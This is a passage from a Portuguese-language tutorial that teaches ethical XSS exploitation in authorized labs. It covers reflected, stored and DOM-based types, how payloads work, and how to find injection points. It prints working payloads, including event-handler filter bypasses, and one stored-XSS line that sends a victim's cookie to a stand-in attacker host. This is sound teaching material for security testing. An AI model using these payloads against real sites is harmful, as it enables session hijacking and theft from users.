'XSS na prática: explorando Cross-Site Scripting eticamente'
Demonstração ética de como o Cross-Site Scripting é explorado, os tipos refletido, armazenado e DOM, e por que a sanitização correta é a defesa essencial.

Cross-Site Scripting (XSS) é a falha que permite injetar JavaScript malicioso numa página confiável, executado no navegador de outras vítimas. É uma das vulnerabilidades web mais comuns e mal compreendidas. Neste guia, vamos explorá-la na prática — sempre em laboratório autorizado — para entender o impacto e por que a sanitização é indispensável.
A meta é didática: ao ver como o XSS funciona por dentro, você aprende a detectá-lo e corrigi-lo. Se quiser revisar a fundação conceitual antes, leia O que é XSS (Cross-Site Scripting)?. Aqui, o foco é a exploração dentro da Metodologia de pentest: as fases de um teste de invasão.
Aviso ético
Executar XSS contra usuários reais sem autorização é crime e causa dano a pessoas. Pratique apenas em:
- Aplicações deliberadamente vulneráveis (DVWA, OWASP Juice Shop).
- Ambientes de treino e desafios de O que é um CTF? Aprenda hacking jogando.
- Programas de bug bounty com escopo definido.
Cada payload deste artigo serve para compreensão e correção, não para ataque.
O que é XSS, em uma frase
XSS ocorre quando uma aplicação reflete ou armazena entrada do usuário sem tratá-la, e o navegador a interpreta como código. O navegador confia no script porque ele veio do domínio legítimo — e é justamente essa confiança que o ataque sequestra.
O guia de testes da OWASP trata o XSS como um dos vetores de injeção mais frequentes em aplicações web, exigindo testes sistemáticos de cada ponto de entrada (OWASP Foundation, 2020).
Por que o navegador "cai" no golpe
Para entender o XSS, é preciso entender a Same-Origin Policy, a regra que isola sites uns dos outros no navegador. Um script de banco.com pode ler os cookies e o DOM de banco.com, mas não os de outrosite.com. Essa fronteira é o que mantém a web segura. O XSS é tão perigoso justamente porque viola essa regra por dentro: o script malicioso é executado como se fosse da própria origem, então ele herda todas as permissões de um script legítimo daquele domínio — acesso a cookies, ao armazenamento local e à sessão da vítima. Não há sandbox; para o navegador, é código de casa.
Os três tipos de XSS
A exploração depende de qual tipo você enfrenta.
XSS Refletido
O payload viaja na requisição (em geral por um parâmetro de URL) e é refletido na resposta imediatamente. Não é persistente: depende de fazer a vítima clicar num link preparado.
https://busca.exemplo.com/?q=<script>alert(document.cookie)</script>Se o termo de busca é exibido sem tratamento, o script roda no navegador de quem abrir o link.
Por depender de engenharia social — convencer a vítima a clicar —, o XSS refletido costuma chegar via e-mail de phishing, mensagem ou link encurtado que disfarça o payload. O atacante explora a confiança da vítima no domínio legítimo: o link aponta de fato para o site real, então passa por verificações superficiais.
XSS Armazenado
Aqui o payload é salvo no servidor (num comentário, perfil ou mensagem) e servido a todos que visualizam aquela página. É o mais perigoso, pois não exige enganar a vítima individualmente — basta ela visitar a página infectada.
<!-- Enviado como comentário e persistido no banco -->
<script>fetch('https://atacante.exemplo/c?x='+document.cookie)</script>O alcance é o que assusta: um único comentário malicioso numa página popular atinge todos os visitantes, incluindo administradores. Há casos históricos de "worms" de XSS armazenado em redes sociais, onde o payload, ao executar no perfil de uma vítima, se replicava automaticamente para os contatos dela — propagando-se de forma exponencial sem nenhuma ação adicional do atacante.
XSS baseado em DOM
O payload nunca chega ao servidor: a vulnerabilidade está no JavaScript do cliente, que manipula o DOM com dados não confiáveis (por exemplo, lendo location.hash e injetando no HTML).
// Código cliente vulnerável
document.getElementById('saudacao').innerHTML = location.hash.substring(1);https://app.exemplo.com/#<img src=x onerror=alert(1)>O XSS de DOM é particularmente sorrateiro porque a defesa do servidor não ajuda: como o payload pode viver inteiramente no fragmento da URL (depois do #), que o navegador nunca envia ao servidor, nenhum filtro do lado servidor o vê passar. A falha mora no fluxo de dados dentro do JavaScript do cliente — de uma source (uma fonte controlável pelo usuário, como location.hash) até uma sink perigosa (como innerHTML ou eval). Encontrá-lo exige ler o código JavaScript do front, não apenas observar requisições.
Anatomia de um payload
Antes de testar, vale entender por que payloads tão diferentes funcionam. O exemplo <script>alert(1)</script> é o mais óbvio, mas raramente o mais útil em testes reais, porque muitas aplicações filtram a tag <script> ou ela não executa quando inserida via innerHTML. Os payloads mais robustos exploram manipuladores de eventos:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>A lógica do <img src=x onerror=...> é elegante: a imagem x não existe, o carregamento falha, e o navegador dispara o evento onerror — executando o JavaScript ali colocado. Esses vetores funcionam mesmo onde <script> é bloqueado, porque dependem de atributos de eventos em tags comuns. Conhecer essa variedade é o que permite contornar filtros ingênuos durante um teste autorizado.
Passo 1: detectar o ponto de injeção
A detecção começa testando cada entrada que se reflete na página: campos de busca, parâmetros de URL, formulários, cabeçalhos. Um payload de teste simples ajuda a ver se há filtragem:
<script>alert(1)</script>
"><img src=x onerror=alert(1)>
'><svg onload=alert(1)>Observe a resposta: se as tags aparecem íntegras no código-fonte (sem escapar < para <), há forte indício de XSS. Um proxy acelera muito esse trabalho de variar payloads e inspecionar respostas, como mostramos em Burp Suite: o canivete suíço do pentester web.
A importância do contexto de reflexão
Detectar reflexão é só metade do trabalho; você precisa saber onde o dado cai na página, porque isso determina qual payload funciona. O mesmo input pode ser refletido em contextos diferentes:
- Dentro do corpo HTML: SEU_INPUT— aqui basta injetar uma tag.
- Dentro de um atributo: — você precisa primeiro "sair" do atributo com "> antes de injetar.
- Dentro de um bloco